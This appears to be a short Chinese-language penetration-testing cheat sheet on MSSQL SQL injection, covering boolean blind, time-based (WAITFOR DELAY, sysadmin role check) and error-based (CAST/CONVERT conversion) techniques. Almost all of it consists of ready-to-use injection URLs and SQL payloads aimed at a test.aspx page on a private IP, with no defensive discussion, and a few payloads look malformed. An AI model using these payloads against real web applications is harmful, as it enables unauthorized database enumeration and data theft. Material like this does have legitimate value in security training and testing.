渗透测试之MSSQL盲注（布尔盲注+时间盲注+报错注入）

1.   布尔盲注

http://192.168.20.155/test.aspx?id=1 and ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)) >= 109

 

2.   时间盲注 

http://192.168.20.155/test.aspx?id=1;if (select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'--

 

http://192.168.20.155/test.aspx?id=1;if (ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)))>1 WAITFOR DELAY '0:0:5'--

 

  

3.   报错注入

MSSQL报错注入利用的就是显示或隐式转换来报错注入,比如以下就是典型的隐式转换

select * from admin where id =1 and (select user)>0--

select * from admin where id =1|(select user)--

在将 nvarchar 值 'dbo' 转换成数据类型 int 时失败

http://192.168.20.155/test.aspx?id=1;select%20*%20from%20admin%20where%20id%20=1%20(select%20CAST(USER%20as%20int))--+

 

http://192.168.20.155/test.aspx?id=1;select%20*%20from%20admin%20where%20id%20=1|(select%20user)--+

  

  

显示转换也就是利用函数来转换，我们经常用到的两个函数就是cast和convert

CAST( expression AS data_type )
       CONVERT(data_type[(length)], expression [, style])

       select * from admin where id =1 (select CAST(USER as int))
       select * from admin where id =1 (select convert(int,user))

http://192.168.20.155/test.aspx?id=1;select%20*%20from%20admin%20where%20id%20=1%20(select%20CAST(USER%20as%20int))--+

 

http://192.168.20.155/test.aspx?id=1;select%20*%20from%20admin%20where%20id%20=1|(select%20user)--+